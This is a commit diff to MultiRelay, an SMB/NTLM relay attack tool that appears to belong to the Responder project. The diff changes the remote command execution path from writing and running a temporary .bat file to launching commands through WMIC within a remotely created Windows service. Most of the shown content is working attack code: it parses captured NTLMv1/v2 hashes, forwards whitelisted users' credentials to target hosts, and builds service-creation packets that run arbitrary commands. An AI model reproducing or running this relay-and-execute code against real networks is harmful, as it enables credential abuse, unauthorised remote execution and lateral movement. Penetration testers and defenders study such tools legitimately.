MultiRelay now executes WMIC commands instead of bat files

This commit is contained in:
lgandx 2016-11-10 14:24:54 -03:00
parent 62d7dc4080
commit aff17ca9d3
3 changed files with 21 additions and 34 deletions

View file

@ -36,7 +36,7 @@ from SMBFinger.Finger import RunFinger
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
from socket import * from socket import *
__version__ = "1.0" __version__ = "1.1"
def UserCallBack(op, value, dmy, parser): def UserCallBack(op, value, dmy, parser):
args=[] args=[]
@ -448,6 +448,10 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
return False return False
if data[8:10] == "\x73\x5e":
print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
return False
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
## Tree Connect ## Tree Connect
if data[8:10] == "\x73\x00": if data[8:10] == "\x73\x00":

View file

@ -120,7 +120,7 @@ def ParseHTTPHash(data, key, client,UserToRelay,Host):
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay: if User in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, forwarding credentials."%(User) print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host[0], cmd=None): if ReadData("SMBRelay-Session.txt", client, User, HostName, Host[0], cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts. ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None return None, None
@ -142,7 +142,7 @@ def ParseHTTPHash(data, key, client,UserToRelay,Host):
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User) WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay: if User in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, forwarding credentials."%(User) print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host[0], cmd=None): if ReadData("SMBRelay-Session.txt", client, User, Domain, Host[0], cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts. ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None return None, None
@ -174,7 +174,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host): #Parse SMB NTLMSSP v
WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username) WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay: if Username in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username) print "[+] Username: %s is whitelisted, fowarding credentials."%(Username)
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None): if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts. ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None return None, None
@ -196,7 +196,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host): #Parse SMB NTLMSSP v
WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username) WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay: if Username in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username) print "[+] Username: %s is whitelisted, fowarding credentials."%(Username)
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None): if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts. ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None return None, None
@ -430,10 +430,8 @@ def CreateService(Command, f, host, data, s):
ContextHandler = data[84:104] ContextHandler = data[84:104]
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
FilePath = FileChars
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath,BinCMD=Command) w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command)
w.calculate() w.calculate()
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
x.calculate() x.calculate()

View file

@ -651,6 +651,11 @@ class SMBDCESVCCTLOpenManagerW(Packet):
]) ])
def calculate(self): def calculate(self):
#Padding
if len(str(self.fields["MachineName"]))%2==0:
self.fields["MachineNameNull"] = "\x00\x00\x00\x00"
else:
self.fields["MachineNameNull"] = "\x00\x00"
## Convert to UTF-16LE ## Convert to UTF-16LE
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1) self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1) self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
@ -677,10 +682,7 @@ class SMBDCESVCCTLCreateService(Packet):
("BinPathMaxCount", "\xb6\x00\x00\x00"), ("BinPathMaxCount", "\xb6\x00\x00\x00"),
("BinPathOffset", "\x00\x00\x00\x00"), ("BinPathOffset", "\x00\x00\x00\x00"),
("BinPathActualCount", "\xb6\x00\x00\x00"), ("BinPathActualCount", "\xb6\x00\x00\x00"),
("FileName", ""),
("BinPathName", ""),
("BinCMD", ""), ("BinCMD", ""),
("BintoEnd", ""),
("BinCMDTerminator", "\x00\x00"), ("BinCMDTerminator", "\x00\x00"),
("LoadOrderGroup", "\x00\x00\x00\x00"), ("LoadOrderGroup", "\x00\x00\x00\x00"),
("TagID", "\x00\x00\x00\x00"), ("TagID", "\x00\x00\x00\x00"),
@ -694,29 +696,13 @@ class SMBDCESVCCTLCreateService(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["BinCMD"] = self.fields["BinCMD"].replace("&", "^&")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("(", "^(")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(")", "^)")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("%", "^%")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
WinTmpPath = "%WINDIR%\\Temp\\Results.txt" WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
FinalCMD = "del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
#That is: delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file. ##Run the actual command via WMIC, no need to write/execute from a file.
self.fields["FileName"] = ""#Reset it. self.fields["BinCMD"] = "WMIC process call create 'cmd /c ("+self.fields["BinCMD"]+") >"+WinTmpPath+"&exit'"
self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
self.fields["BinCMD"] = FinalCMD BinDataLen = str(self.fields["BinCMD"])
self.fields["BintoEnd"] = "& %COMSPEC% /C call "+File+"&exit"
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
## Calculate first ## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1) self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
@ -728,9 +714,8 @@ class SMBDCESVCCTLCreateService(Packet):
## Then convert to UTF-16LE ## Then convert to UTF-16LE
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le') self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le') self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le') self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet): class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([ fields = OrderedDict([